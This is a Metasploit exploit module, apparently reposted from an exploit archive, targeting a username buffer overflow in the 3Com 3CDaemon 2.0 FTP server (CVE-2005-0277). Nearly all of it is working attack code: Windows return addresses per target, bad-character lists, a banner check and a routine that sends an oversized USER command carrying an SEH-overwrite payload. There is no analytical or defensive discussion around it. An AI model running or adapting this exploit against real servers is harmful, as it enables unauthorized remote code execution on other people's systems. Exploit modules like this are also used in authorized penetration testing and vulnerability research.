3Com 3CDaemon 2.0 FTP Server – ‘Username’ Remote Overflow (Metasploit)
## # $Id: 3cdaemon_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow', 'Description' => %q{ This module exploits a vulnerability in the 3Com 3CDaemon FTP service. This package is being distributed from the 3Com web site and is recommended in numerous support documents. This module uses the USER command to trigger the overflow. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2005-0277'], [ 'OSVDB', '12810'], [ 'OSVDB', '12811'], [ 'BID', '12155'], [ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'], ], 'Privileged' => false, 'Payload' => { 'Space' => 674, 'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => "-find" } }, 'Targets' => [ [ 'Windows 2000 English', # Tested OK - hdm 11/24/2005 { 'Platform' => 'win', 'Ret' => 0x75022ac4, # ws2help.dll }, ], [ 'Windows XP English SP0/SP1', { 'Platform' => 'win', 'Ret' => 0x71aa32ad, # ws2help.dll }, ], [ 'Windows NT 4.0 SP4/SP5/SP6', { 'Platform' => 'win', 'Ret' => 0x77681799, # ws2help.dll }, ], [ 'Windows 2000 Pro SP4 French', { 'Platform' => 'win', 'Ret' => 0x775F29D0, }, ], ], 'DisclosureDate' => 'Jan 4 2005')) end def check connect disconnect if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") buf = rand_text_english(2048, payload_badchars) seh = generate_seh_payload(target.ret) buf[229, seh.length] = seh send_cmd( ['USER', buf] , false ) handler disconnect end end |